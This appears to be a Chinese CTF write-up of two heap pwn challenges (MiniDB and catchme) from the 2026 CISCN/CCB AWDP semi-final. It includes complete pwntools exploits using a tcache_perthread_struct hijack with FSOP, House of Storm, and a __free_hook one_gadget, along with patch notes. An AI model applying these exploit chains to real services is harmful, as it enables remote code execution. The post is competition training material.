[2026 CCB&ciscn] 半决赛AWDP复盘
前言
注意: 本篇随笔包含了笔者的一些的吐槽和心理活动,如果不想看废话可以直接在导航栏跳转到具体题目。
题目下载:CISCN&CCB AWDP.zip
链接: https://pan.baidu.com/s/1-9v_o97EdDvLRFeDM8Ffzg 提取码: 1111
本次半决赛我攻击了0道PWN题,修复了0道PWN题,创下了本人线下赛事最差战绩,在CTF赛事履历上拉下了浓墨重彩的一坨!虽然不想承认,但经过半年多的备考、休息,几乎没打过什么CTF,现在我的水平已经赶不上平均水准了。谁敢想这次比赛我唯一拿分的点是修了一道php😓还是因为看二进制看的没招了,最后十几分钟,一手拿着盒饭另一只手点点鼠标给它那个反序列化洞给补了....
然后是在策略上也有很大失误,比赛过程中就盯着一道MiniDB猛看,因为逆向出程序逻辑花了得有一个小时,沉没成本这块让我感觉如果没给它修好或者利用成功会很亏,修的话我知道setval函数那里有UAF,但是把free函数nop掉这招不管用了😭永远是服务异常,在尝试了好久的修复无果后,准备打,可这时候已经过去两个多小时了,期间学弟催我和他一起看catchme那道题,但我的倔脾气上来了,想着怎么说也得试着打一下,便调试边打也没搞出来什么东西,最后半小时只能绝望的看排行榜🥺
本来是想替学校和学弟争下荣誉的,结果事与愿违......早知道光荣退役了,不至于现在落得晚节不保的下场😭
MiniDB
程序分析
题目是一个小数据库,支持:
SETGETCLONEMULTIEXECABORT
核心对象可以简单看成:
struct Object {
char name[32];
void *next;
void *val;
bool onMulti; // 正常Object没有该字段,mulPtr专属
};
struct val {
uint64_t refCount;
size_t size;
uint8_t cont[];
};
写数据时alloc_write 会先 malloc(size + 0x10),然后在前面补上:
refCountsize
真正用户数据从 +0x10 开始。
下面贴出程序的一些主要函数
程序入口和处理函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_1D95();
db = (database *)malloc(0x210uLL);
puts("Mini Database Engine v1.0");
while ( 1 )
{
printf("> ");
fgets(s, 256, stdin);
if ( !strncmp(s, "EXIT", 4uLL) )
break;
handle(s);
}
return 0LL;
}
void __fastcall handle(char *rdi0)
{
const char *s1; // [rsp+18h] [rbp-28h]
char *v2; // [rsp+20h] [rbp-20h]
char *v3; // [rsp+28h] [rbp-18h]
char *v4; // [rsp+30h] [rbp-10h]
char *a1; // [rsp+38h] [rbp-8h]
s1 = strtok(rdi0, " \n");
if ( s1 )
{
if ( !strcmp(s1, "SET") )
{
a1 = strtok(0LL, " \n");
if ( a1 )
setval(a1);
}
else if ( !strcmp(s1, "GET") )
{
v4 = strtok(0LL, " \n");
if ( v4 )
getval(v4);
}
else if ( !strcmp(s1, "CLONE") )
{
v2 = strtok(0LL, " \n");
v3 = strtok(0LL, " \n");
if ( v2 && v3 )
clone(v2, v3);
}
else if ( !strcmp(s1, "MULTI") )
{
multi();
}
else if ( !strcmp(s1, "EXEC") )
{
exec();
}
else if ( !strcmp(s1, "ABORT") )
{
abort();
}
}
}
setval(核心漏洞在这里)
void __fastcall setval(char *a1)
{
int v1; // [rsp+14h] [rbp-103Ch]
size_t v2; // [rsp+18h] [rbp-1038h]
Object *dest; // [rsp+20h] [rbp-1030h]
Object *desta; // [rsp+20h] [rbp-1030h]
val *ptr; // [rsp+28h] [rbp-1028h]
val *v6; // [rsp+30h] [rbp-1020h]
__int64 buf[514]; // [rsp+40h] [rbp-1010h] BYREF
buf[513] = __readfsqword(0x28u);
printf("Value> ");
memset(buf, 0, 0x1000);
v2 = read(0, buf, 0x1000uLL);
dest = getIndex(a1);
if ( dest )
{
ptr = (val *)dest->val;
v6 = (val *)alloc_write(buf, v2);
if ( db->isMulti )
{
if ( *(_DWORD *)&db->mulPtr->onMulti == 1 && !strcmp(db->mulPtr->name, a1) )
{
free(ptr);
}
else
{
strncpy(db->mulPtr->name, a1, 0x1FuLL);
db->mulPtr->name[0x1F] = 0;
db->mulPtr->next = ptr;
*(_DWORD *)&db->mulPtr->onMulti = 1;
}
db->mulPtr->val = v6;
}
else if ( ptr )
{
if ( (__int64)--ptr->refCount <= 0 )
free(ptr);
}
dest->val = v6;
}
else
{
desta = (Object *)malloc(0x30uLL);
strncpy(desta->name, a1, 0x1FuLL);
desta->name[31] = 0;
desta->val = alloc_write(buf, v2);
v1 = hashv(a1);
desta->next = db->saves[v1];
db->saves[v1] = desta;
if ( db->isMulti )
{
strncpy(db->mulPtr->name, a1, 0x1FuLL);
db->mulPtr->name[0x1F] = 0;
db->mulPtr->next = 0LL;
db->mulPtr->val = desta->val;
*(_DWORD *)&db->mulPtr->onMulti = 1;
}
}
puts("OK");
}
getval(越界读)
int __fastcall getval(char *a1)
{
Object *v2; // [rsp+18h] [rbp-8h]
v2 = getIndex(a1);
if ( v2 )
return printf("VAL: %s\n", (const char *)v2->val + 0x10);
else
return puts("ERR");
}
clone
int __fastcall clone(char *a1, char *a2)
{
int v3; // [rsp+14h] [rbp-1Ch]
Object *Index; // [rsp+18h] [rbp-18h]
Object *dest; // [rsp+20h] [rbp-10h]
_QWORD *val; // [rsp+28h] [rbp-8h]
Index = (Object *)getIndex(a1);
if ( !Index || getIndex(a2) )
return puts("ERR");
dest = (Object *)malloc(0x30uLL);
strncpy(dest->name, a2, 0x1FuLL);
dest->name[31] = 0;
dest->val = Index->val;
val = dest->val;
if ( val )
++*val;
v3 = hashv(a2);
dest->next = db->saves[v3];
db->saves[v3] = dest;
return puts("OK");
}
multi(未初始化mulPtr对象)
int multi()
{
database *v1; // rbx
if ( db->isMulti )
return puts("ERR");
db->isMulti = 1;
v1 = db;
v1->mulPtr = (Object *)malloc(0x38uLL);
return puts("TX START");
}
exec
void __fastcall exec()
{
val *ptr; // [rsp+8h] [rbp-8h]
if ( !db->isMulti )
{
puts("ERR");
}
else
{
if ( *(_DWORD *)&db->mulPtr->onMulti == 1 )
{
if ( db->mulPtr->next )
{
ptr = (val *)db->mulPtr->next;
if ( ptr )
{
if ( (__int64)--ptr->refCount <= 0 )
free(ptr);
}
}
}
free(db->mulPtr);
db->isMulti = 0;
puts("TX EXEC");
}
}
abort
void __fastcall __noreturn abort()
{
Object *Index; // [rsp+8h] [rbp-18h]
_QWORD *val; // [rsp+10h] [rbp-10h]
if ( !db->isMulti )
{
puts("ERR");
}
else
{
if ( *(_DWORD *)&db->mulPtr->onMulti == 1 )
{
Index = getIndex(db->mulPtr->name);
if ( Index )
{
val = Index->val;
Index->val = db->mulPtr->next;
if ( val )
{
if ( (__int64)--*val <= 0 )
free(val);
}
}
}
free(db->mulPtr);
db->isMulti = 0;
puts("TX ABORT");
}
}
漏洞利用
细讲一下三个漏洞点:
-
GET存在越界读
printf("VAL: %s\n", obj->val + 0x10); -
MULTI分配的mulPtr没有初始化事务开始时
db->mulPtr = malloc(0x38);没有清零同时
ABORT事件会将mulPtr->next的值直接写回同名keyIndex = getIndex(db->mulPtr->name); if ( Index ) { val = Index->val; Index->val = db->mulPtr->next; if ( val ) { if ( (__int64)--*val <= 0 ) free(val); } }这是下面利用的核心
-
MULTI事务下存在直接释放(虽然我的利用方法没有用上这个漏洞)if (mulPtr->onMulti == 1 && !strcmp(mulPtr->name, a1)) { free(ptr); }这里没有判断val的引用情况,而是直接
free(ptr),所以只要事务里再次SET同一个 key,就能在还有引用的情况下把旧val直接送进 tcache
Step1
首先我们泄露出 libc 和 heap基址
libc
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x410)
getval(b"leak")
ru(b"a"*0x410)
libc_base = uu64() - 0x21b110
- 第三次
setval(b"leak", b"a"*0x400)会申请出一个0x420的 chunk - 到下一次
setval(b"leak", b"a"*0x500)时,这个旧的0x420chunk 会被释放 - 进入
unsortedbin,用户区开头被写上fd/bk
后面再 setval(b"leak", b"a"*0x410),当前字符串长度被控制成刚好 0x410,于是 GET 在打印完这 0x410 个 'a' 之后,继续往后读到的就是那块旧 0x420 chunk 里残留的 fd
heap
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x20)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x420)
getval(b"leak")
ru(b"a"*0x420)
heap_base = uu64() - 0x910
第二次泄露本质上还是同一个思路:读旧 chunk 残留的元数据,只是这次残留的目标从 unsortedbin 换成了 largebin,然后控制堆风水让它泄露fd_nextsize
Step2
K_D = p64(heap_base >> 12)[0:5]
setval(b"mulP", b"a"*0x10 + p64(heap_base+0x10)+p64(0)+p32(1))
setval(K_D, b"a"*0x10)
setval(b"mulP", b"a"*0x10)
multi()
abort()
这一步是利用的核心,我们先看mulP
它第一次 SET 的长度是 0x24,所以对应的 val chunk size 正好是 0x40。
我们把后半段内容布置成:
+0x10 -> future mulPtr->next = heap_base + 0x10
+0x18 -> future mulPtr->val = 0
+0x20 -> future mulPtr->onMulti = 1
然后再对 mulP 做一次普通 SET,旧的 val 就会被 free 到 0x40 tcache
此时这个 chunk 的开头会被 tcache 写成 fd
如果它是链尾,那么前几个字节本质上就是
p64(chunk_addr >> 12)
所以这里的前 5 个字节正好可以直接拿来当名字
K_D = p64(heap_base >> 12)[0:5]
于是我提前创建一个同名对象:
setval(K_D, b"a"*0x10)
接下来 multi() 会把释放的val重新拿出来当 mulPtr,且因为 mulPtr 未初始化,所以
mulPtr->name继承了 fd 脏数据mulPtr->next继承了我预埋的heap_base+0x10mulPtr->onMulti = 1
最后 abort():
Index = getIndex(mulPtr->name);
Index->val = mulPtr->next;
刚好命中我提前建好的二进制 key,于是:
K_D->val = heap_base + 0x10
其实这个就实现了将任意地址写到K_D->val,从而实现任意地址读 / free
这个“任意地址”不是硬写出来的,而是借 fd 脏数据和事务回滚自动拼出来的,这也是我最喜欢的地方。
Step3
既然有任意地址free,那么你可能也看出我的想法了
heap_base + 0x10就是tcache结构体tcache_perthread_struct的地址,我们通过劫持tcache 结构体来实现任意地址分配
setval(b"clear", b'a'*0x10)
setval(K_D, b"a"*0x10)
释放的时候会走普通路径,对val的开头会有check,检查引用计数是否小于零
if ((__int64)--ptr->refCount <= 0)
free(ptr);
现在 ptr 已经不是正常的 val,而是 tcache_perthread_struct结构,它前 8 字节是counts[0..3]
所以setval(b"clear", b'a'*0x10)其实是清理tcachebin布局,使前面8字节为0,然后setval(K_D, b"a"*0x10)触发free释放掉tcache
之后再把它申请回来
tc_idx = 8
counts_off = 2 * tc_idx - 0x10
entries_off = 0x80 + 8 * tc_idx - 0x10
target = libc.sym["_IO_list_all"] - 0x80
fake_tcache = flat(
{
counts_off: p16(1),
entries_off: p64(target),
},
filler=b"\x00",
length=0x270,
)
setval(b"clear", fake_tcache)
这里我选 tc_idx = 8,理由很简单,低编号的 counts[idx] 会被前 0x10 字节的 refCount/size 污染,idx = 8 往后就完全落在可控区域里了
这里设entries[8] = _IO_list_all - 0x80
Step4
在堆上写好fake FILE
file_addr = heap_base + 0x940 + 0x10
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x68
fake_io = flat(
{
0x00: p32(0xfbadf7f5) + b";sh\x00", # _flags
0x28: p64(1), # _IO_write_ptr
0x70: p32(2) + p32(0), # _fileno / _flags2
0x78: p64(0xFFFFFFFFFFFFFFFF), # _old_offset
0x80: p16(0) + b"\x00" + b"\n" + p32(0), # _cur_column .. padding
0x88: p64(libc.sym["_IO_2_1_stdout_"] + 0x1EA0), # _lock
0x90: p64(0xFFFFFFFFFFFFFFFF), # _offset
0xA0: p64(IO_wide_data_addr), # _wide_data
0xC0: p32(0xFFFFFFFF), # _mode
0xD8: p64(libc.sym["_IO_wfile_jumps"]), # vtable
0xE0: p64(wide_vtable_addr), # _wide_data->_wide_vtable
0xE8: p64(libc.sym["system"]), # call target
},
filler=b"\x00",
)
setval(b"io", fake_io)
这里要注意一个坑,一开始我填file_addr就是io->val的地址(也就是heap_base + 0x940),但实际上io->val + 0x10才是你的数据区,前面0x10是refCount/Size字段
最开始我少算了这 +0x10,结果 _IO_list_all 指过去时,实际指到的是整个 val 的开头,也就是
refCountsize- fake
FILE
由于前面已经伪造了
entries[8] = _IO_list_all - 0x80
所以这次最后 setval(b"pwn", payload) 的新 val 会直接落到 _IO_list_all - 0x80,最终把file_addr写到 _IO_list_all 上,退出时触发 FSOP,拿 shell

注:笔者是在本地复现的,glibc版本为 2.35-0ubuntu3.9
完整EXP
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def getvalsb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(6).ljust(8,b'\x00'))
logaddr = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['konsole', '-e', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("", 23583)
def setval(name, cont):
sla("> ", b"SET " + name)
sa("Value> ", cont)
def getval(name):
sla("> ", b"GET " + name)
def clone(a1, a2):
sla("> ", b"CLONE " + a1 + b" " + a2)
def multi():
sla("> ", "MULTI")
def exec():
sla("> ", "EXEC")
def abort():
sla("> ", "ABORT")
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x410)
getval(b"leak")
ru(b"a"*0x410)
libc_base = uu64() - 0x21b110
logaddr("libcbase", libc_base)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x900)
setval(b"leak", b"a"*0x20)
setval(b"leak", b"a"*0x400)
setval(b"leak", b"a"*0x500)
setval(b"leak", b"a"*0x10)
setval(b"leak", b"a"*0x420)
getval(b"leak")
ru(b"a"*0x420)
heap_base = uu64() - 0x910
logaddr("heapbase", heap_base)
libc.address = libc_base
file_addr = heap_base + 0x940 + 0x10
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x68
fake_io = flat(
{
0x00: p32(0xfbadf7f5) + b";sh\x00", # _flags
0x28: p64(1), # _IO_write_ptr
0x70: p32(2) + p32(0), # _fileno / _flags2
0x78: p64(0xFFFFFFFFFFFFFFFF), # _old_offset
0x80: p16(0) + b"\x00" + b"\n" + p32(0), # _cur_column .. padding
0x88: p64(libc.sym["_IO_2_1_stdout_"] + 0x1EA0), # _lock
0x90: p64(0xFFFFFFFFFFFFFFFF), # _offset
0xA0: p64(IO_wide_data_addr), # _wide_data
0xC0: p32(0xFFFFFFFF), # _mode
0xD8: p64(libc.sym["_IO_wfile_jumps"]), # vtable
0xE0: p64(wide_vtable_addr), # _wide_data->_wide_vtable
0xE8: p64(libc.sym["system"]), # call target
},
filler=b"\x00",
)
setval(b"io", fake_io)
# hijack tcache
K_D = p64(heap_base >> 12)[0:5]
setval(b"mulP", b"a"*0x10 + p64(heap_base+0x10)+p64(0)+p32(1))
setval(K_D, b"a"*0x10)
setval(b"mulP", b"a"*0x10)
multi()
abort()
setval(b"clear", b'a'*0x10)
setval(K_D, b"a"*0x10)
tc_idx = 8
counts_off = 2 * tc_idx - 0x10
entries_off = 0x80 + 8 * tc_idx - 0x10
target = libc.sym["_IO_list_all"] - 0x80
fake_tcache = flat(
{
counts_off: p16(1),
entries_off: p64(target),
},
filler=b"\x00",
length=0x270,
)
setval(b"clear", fake_tcache)
payload = flat(
{0x70 : p64(file_addr),
0x80 : p64(0x00000000fbad2087)
},
filler=b"\x00")
setval(b"pwn", payload)
#debug()
pause()
sl("EXIT")
ia()
漏洞修补
说到这个就有点烦...比赛时怎么没仔细看函数列表呢!

出题人给了一个没有被引用的sub_13BE函数,内容就是对refCount--然后再判断是否 < 0再释放,这不赤果果的提示吗😭
找到0x16f4处的call _free,修改为call sub_13BE


比赛题目提示最小改动原则,最多改五字节,我想不通除了nop掉这个free还能怎么改,现在懂了
catchme
程序分析
这题是一个glibc2.27菜单堆题,一共 5 个槽位,支持 6 个操作:
adoptreleaseinspectengraveleavepurge
其中adopt能分配三种对象,对应三种 chunk:
type1:malloc(0x430),实际 chunk size 为0x440type2:malloc(0x440),实际 chunk size 为0x450type3:calloc(1, 0x48),实际 chunk size 为0x50
这三个大小的利用意义很明确:
0x440 / 0x450:不走 tcache,主要进unsorted / largebin0x50:走tcache[0x50]
漏洞利用
漏洞很明显,一个是release导致的UAF

这就导致了 inspect和engrave的UAF read/write,操作的地址都是ptr+8,可以写free chunk的bk、fd_nextsize、bk_nextsize

同时purge只清槽位,不free,也方便我们控制堆布局做堆风水
无法改fd且只有三次编辑机会,适合打 house of storm
之前没用过这种攻击方式,所以去看了看它的how2heap代码,捋了一下它的攻击路径,下面给大家详细讲解一下
如果你也不清楚house of storm的攻击流程,那就一起来看看吧!
House of Storm攻击原理
利用前提
-
存在堆漏洞(UAF、堆溢出等),可同时控制:
- unsorted bin chunk的
bk指针 - large bin chunk的
bk、bk_nextsize指针
- unsorted bin chunk的
-
构造两个符合要求的chunk:
- unsorted bin中的chunk(记为
chunk_U)、large bin中的chunk(记为chunk_L) - 两个chunk归位后属于同一个large bin分级,且
chunk_U.size > chunk_L.size
- unsorted bin中的chunk(记为
-
可申请一个与伪造size匹配的小chunk(通常为0x50)
-
堆地址以
0x56开头
利用原理/步骤
House of Storm 本质是通过一次malloc调用,同时触发两个攻击原语,在目标地址完成合法chunk的伪造,最终实现任意地址分配
堆风水布局
首先申请目标chunk和隔离chunk
// chunk_U:最终进入unsorted bin,实际size=0x4f0
char* chunk_U = malloc(0x4e8);
// 隔离chunk1:防止chunk_U与后续chunk合并
char* guard1 = malloc(0x18);
// chunk_L:最终进入large bin,实际size=0x4e0,与chunk_U同属一个large bin分级,且更小
char* chunk_L = malloc(0x4d8);
// 隔离chunk2:防止chunk_L与top chunk合并
char* guard2 = malloc(0x18);
然后free(chunk_L),再free(chunk_U)此时两个chunk都进入unsorted bin。
重新malloc(0x4e8),malloc会从unsorted bin中取出chunk_U分配给用户,同时将剩余的chunk_L分类放入对应的large bin中。
再free(chunk_U),此时chunk_U回到unsorted bin,chunk_L留在large bin,达成布局要求。
修改指针
假设目标是将chunk分配到target_addr,则fake chunk的起始地址为fake_chunk = target_addr - 0x10(对齐chunk头部)
通过UAF/堆溢出,篡改两个chunk的关键指针(看代码注释)
// ========== 篡改unsorted bin中的chunk_U ==========
chunk_U[0] = 0; // chunk_U->fd = 0,置空避免异常
chunk_U[8] = (uint64_t)fake_chunk; // chunk_U->bk = fake_chunk,unsorted bin attack核心
// ========== 篡改large bin中的chunk_L ==========
chunk_L[0] = 0; // chunk_L->fd = 0,置空避免异常
chunk_L[8] = (uint64_t)fake_chunk + 8; // chunk_L->bk = fake_chunk+8,指向fake_chunk的bk字段,防止崩溃
chunk_L[16] = 0; // chunk_L->fd_nextsize = 0,置空避免异常
// 错位写入:large bin attack将堆地址写入fake_chunk的size字段
// -5是因为开启PIE的x64堆地址以0x55/0x56开头,错位5字节后,刚好伪造出0x50的size
chunk_L[24] = (uint64_t)fake_chunk - 0x18 - 5;
malloc触发攻击(关键)
调用malloc(0x48),该大小对齐后实际申请size为0x50,与我们伪造的size完全匹配。接下来拆解这一次malloc发生了什么操作
-
第一次unsorted bin遍历,触发unsorted bin attack
// 从unsorted bin尾部取chunk,victim = chunk_U while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { bck = victim->bk; // bck = chunk_U->bk = fake_chunk size = chunksize(victim); // size=0x4f0,与申请的0x50不匹配,跳过直接分配 // ========== unsorted bin attack 触发 ========== // 将fake_chunk链入unsorted bin尾部,同时执行 bck->fd = unsorted_chunks(av) // 即 fake_chunk->fd = main_arena+0x88,完成fake chunk的fd字段伪造 unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); -
进入large bin插入逻辑,触发large bin attack
// chunk_U.size属于large bin范围,进入large bin插入逻辑 else { victim_index = largebin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; // fwd = large bin中的chunk_L // chunk_U.size > chunk_L.size,进入核心攻击分支 else { // ========== large bin attack 触发 ========== victim->fd_nextsize = fwd; // chunk_U->bk_nextsize = chunk_L->bk_nextsize = fake_chunk-0x18-5 victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; // 核心错位写入:(fake_chunk-0x18-5)->fd_nextsize = chunk_U // fd_nextsize偏移为0x20,最终写入地址 = (fake_chunk-0x18-5)+0x20 = fake_chunk-0x3 // 将chunk_U的堆地址(0x56xxxxxx)写入该位置,错位后fake_chunk->size字段的最低字节为0x56,伪造出size=0x50 victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; // bck = chunk_L->bk = fake_chunk+0x8 // ========== 修复fake chunk的bk字段 ========== victim->bk = bck; victim->fd = fwd; fwd->bk = victim; // bck->fd = victim → (fake_chunk+0x8)->fd = chunk_U // 即 fake_chunk->bk = chunk_U,完成fake chunk的bk字段伪造 bck->fd = victim; } } -
第二次unsorted bin遍历,完成任意地址分配
第一次循环结束后,fake chunk已经被完全伪造
fake_chunk->fd = main_arena+0x88 //(合法的unsorted bin链表指针) fake_chunk->bk = chunk_U //(合法的链表指针) fake_chunk->size = 0x50 //(与申请大小完全匹配)malloc进入第二次unsorted bin遍历,收尾
// victim = unsorted bin尾部的fake_chunk victim = unsorted_chunks(av)->bk; bck = victim->bk; size = chunksize(victim); // size=0x50,与申请的nb完全匹配 // 直接匹配成功,将fake_chunk从unsorted bin脱链,分配给用户 if (size == nb) { unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); // 返回fake_chunk+0x10,即我们的目标target_addr return chunk2mem(victim); }
以上就是House of Storm的攻击全流程,不得不说发明它的人真是个天才(respect
接下来回到本题,具体到这个题目,我们该如何利用house of storm打穿它!
Step1 依旧泄露libc
adopt(1)
adopt(1)
release(0)
inspect(0)
libc.address = uu64() - 0x3EBCA0
然后
release(1)
purge(0)
purge(1)
把这两块旧块和两个记录位清掉,开始整理真正用于利用的堆布局
Step2 填满 tcache[0x50]
for _ in range(7):
adopt(3)
release(0)
purge(0)
我们最终要申请的是 adopt(3) 也就是 malloc(0x48),所以必须先把 0x50 这一档 tcache 填满。如果 tcache[0x50] 没满,这次申请只会走正常 tcache 路径,不会命中 fake chunk
Step3 构造 unsorted victim 和 largebin victim
adopt(2) # 0
adopt(3) # 1
adopt(1) # 2
adopt(3) # 3
对应堆上
0x450 victim
0x50 guard
0x440 victim
0x50 guard
之后让0x440/0x450 进入 unsortedbin
release(2) # free 0x440
release(0) # free 0x450
接着再
purge(0)
adopt(2)
重新申请一个 0x450,ptmalloc 在处理 unsortedbin 时,会先看到那块 0x440,但这块 0x440 不够满足新的 0x450 请求,因此它不会被直接取走,而会被分类送进 largebin,这时 largebin victim 就准备好了
最后release(0),把刚申请出来的那块新的 0x450 再 free 掉,至此,堆上形成了House of Storm 所需的双 victim 状态:
0x440在 largebin0x450在 unsortedbin
Step4 修改unsorted victim 和 largebin victim
这里
fake_chunk = libc.sym["__free_hook"] - 0x18
engrave(0, p64(fake_chunk))
engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
对应
# unsorted victim
engrave(0, p64(fake_chunk))
# 使chunk_U->bk = fake_chunk
# largebin victim
engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
# chunk_L->bk = fake_chunk + 8
# chunk_L->fd_nextsize = 0
# chunk_L->bk_nextsize = fake_chunk - 0x18 - 5
largebin 那条通过 nextsize 的错位写把一个堆指针的高字节打进 fake chunk 的 size 字段,在 64 位、PIE 环境下,堆地址高字节通常是 0x55/0x56 一类值,利用这个高字节就可以把 fake chunk 的 size 修成合法的小块尺寸
Step5 Storm一触即发
完成两个 victim 的覆写后,通过
adopt(3) # 4
完成house of storm的触发。
如果 fake chunk 伪造成功,这次 malloc(0x48) 返回的就是fake_chunk + 0x10 = __free_hook - 0x8
这里做了一个简单判断
rc(1)
msg = p.recv(timeout=0.5)
if msg and b"malloc" in msg:
return False
如果 glibc 报错,说明这次随机到的堆地址开头不是0x56,直接重试。如果没报错,就说明 fake chunk 大概率命中了
Step6 ogg收尾
返回 chunk 的用户指针是__free_hook - 0x8,而题目engrave的写操作是chunk + 8开始
因此engrave(4, p64(one))直接将one_gadget 写到 __free_hook 上,最后再来一次 free 操作就能拿到shell了

完整exp
from pwn import *
import struct
def debug(c=0):
if c:
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb():
return libc.sym["system"], next(libc.search(b"/bin/sh\x00"))
sd = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data if isinstance(data, bytes) else str(data).encode())
sla = lambda text, data: p.sendlineafter(text, data)
rc = lambda num=4096: p.recv(num)
ru = lambda text: p.recvuntil(text)
rl = lambda: p.recvline()
pr = lambda num=4096: print(p.recv(num))
ia = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda: u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda: u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda: u64(p.recv(6).ljust(8, b"\x00"))
uheap = lambda: u64(p.recv(6).ljust(8, b"\x00"))
logaddr = lambda s, n: p.success("%s -> 0x%x" % (s, n))
context.binary = elf = ELF("./pwn")
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug" if args.D else "info"
libc = ELF("./libc-2.27.so")
p = None
def adopt(kind):
ru(b">>")
sl(1)
ru(b"(3)otter")
sl(kind)
def release(idx):
ru(b">>")
sl(2)
ru(b"index:")
sl(idx)
def inspect(idx):
ru(b">>")
sl(3)
ru(b"index:")
sl(idx)
ru(b"tag:")
def purge(idx):
ru(b">>")
sl(6)
ru(b"index:")
sl(idx)
def engrave(idx, data):
ru(b">>")
sl(4)
ru(b"you can retag at most three times")
sl(idx)
ru(b"set tag:")
sd(data)
def pwn():
global p, libc
adopt(1)
adopt(1)
release(0)
inspect(0)
libc.address = uu64() - 0x3EBCA0
logaddr("libcbase", libc.address)
release(1)
purge(0)
purge(1)
for _ in range(7):
adopt(3)
release(0)
purge(0)
adopt(2) # 0
adopt(3) # 1
adopt(1) # 2
adopt(3) # 3
release(2)
release(0)
purge(0)
adopt(2) # 0
release(0)
fake_chunk = libc.sym["__free_hook"] - 0x18
logaddr("__free_hook", libc.sym["__free_hook"])
engrave(0, p64(fake_chunk))
engrave(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
adopt(3) # 4
msg = p.recv(timeout=0.5)
if msg and b"malloc" in msg:
return False
ogg = libc.address + 0x4F302
engrave(4, p64(ogg))
# debug()
# pause()
release(4)
ia()
return True
for i in range(1, 61):
p = process("./pwn")
log.info(f"attempt {i}/60")
try:
if pwn():
break
p.close()
except EOFError:
p.close()
else:
raise SystemExit("failed")
漏洞修补
一开始尝试nop大法失败了,然后改 eh_frame 把指针置零,本地跑了一次没问题然后提交,还是失败了
赛后听有位师傅说他是直接在.text段上改的,通过了。不清楚他的具体改法是什么,可能是下面这样?


浙公网安备 33010602011771号